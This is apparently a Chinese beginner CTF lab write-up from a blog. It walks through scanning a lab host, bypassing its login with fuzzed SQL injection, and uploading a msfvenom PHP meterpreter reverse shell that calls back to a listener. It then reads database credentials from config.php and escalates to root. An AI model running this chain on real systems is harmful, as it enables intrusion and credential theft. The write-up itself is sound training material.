7-1/7-2CTF夺旗入门教程--综合测试(低难度)

前言

B站所有的视频课程7-1这一课,都不全,没有怎么绕过登录界面的过程
百度云保存的视频课也没有,51cto官网视频课疑似也缺少这一部分
实在没有办法,就自己摸索解决了一下,毕竟刚入门
接上了视频课的部分,以此记录一下


补充:并不是缺少课,而是7-1前面的课程在7-2里,然而所有的上传者都没有提到这个问题。
准备仔细看一下7-2然后补充一下笔记


1. 信息探测

#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.114
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.114
#探测敏感信息
nikto -host http://192.168.2.114
dirb http://192.168.2.114

2.深入挖掘

通过探测的信息,得到网站登录界面
在这里插入图片描述
查看源代码,显示对登录的用户名格式、密码有限制

在这里插入图片描述
尝试从其他线索中获取用户名,但没有结果
尝试使用最简单的sql模糊测试跳过认证,成功登录
在这里插入图片描述
发现有可以上传文件的地方
在这里插入图片描述
但通过源代码显示,上传文件对文件名进行了过滤,只能上传jpg、png、gif文件格式,无法上传php文件
在这里插入图片描述

2.7-2课程补充内容

思路:

  • 登录界面是否存在SQL注入
  • 敏感信息是否泄漏
  • 已知漏洞
  • backup.zip文件等

绕过登录认证机制login.php

  • 查看登录界面源代码
  • 利用burpsuite进行fuzz测试,绕过登录验证机制
    查看burpsuite中intruder模块中返回值不同,区分不同相应
    对于绕过认证机制,需要查看源代码,挖掘是否存在js认证
  • web模糊测试字典位置 /usr/share/wordlists/wfuzz

启动 burpsuite,设置代理
根据页面源代码,在登录页面输入如下,密码123456
在这里插入图片描述
在这里插入图片描述
使用Intruder
在这里插入图片描述
intruder–payload,选择该字典/usr/share/wordlists/wfuzz
在这里插入图片描述
对提交的payload返回长度进行判断
已知空密码和单引号字符串无法登录(Request 0 和 Request 1)
无法登录的返回长度为2044和2203
其他长度还有2900,所以尝试一下2900的payload
在这里插入图片描述
查看长度为2900的返回结果:
在这里插入图片描述
登录成功,到达上传文件界面

3.生成webshell

#启动metasploit监听
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.2.110
> set lport 4444
> run
#生成shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.2.110 lport=4444 -f raw > /root/Desktop/shell.php

4.上传webshell

重命名webshell.php为webshell.jpg
使用burpsuite将shell.jpg改为shell.php,进行提交
在这里插入图片描述
在目标机的upload目录下,查看是否上传成功
在这里插入图片描述
访问shell.php,成功回连
在这里插入图片描述

5.深入挖掘、获取敏感信息

登录服务器,获取的反弹shell是www-data权限
使用sudo -l 查看用户的sudo权限
继续挖掘敏感信息
ls
cat config.php
优化终端

python -c "import pty;pty.spawn('/bin/bash')"

得到数据库用户名口令–root–toor
在这里插入图片描述
在数据库中挖掘敏感信息

mysql -h localhost -u 用户名 -p
show  database;
select * from users;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.root权限

利用挖掘的信息,进行提升root权限

su - root
whoami
id
cat flag

猜你喜欢

转载自blog.csdn.net/m0_46622606/article/details/106027127
7-1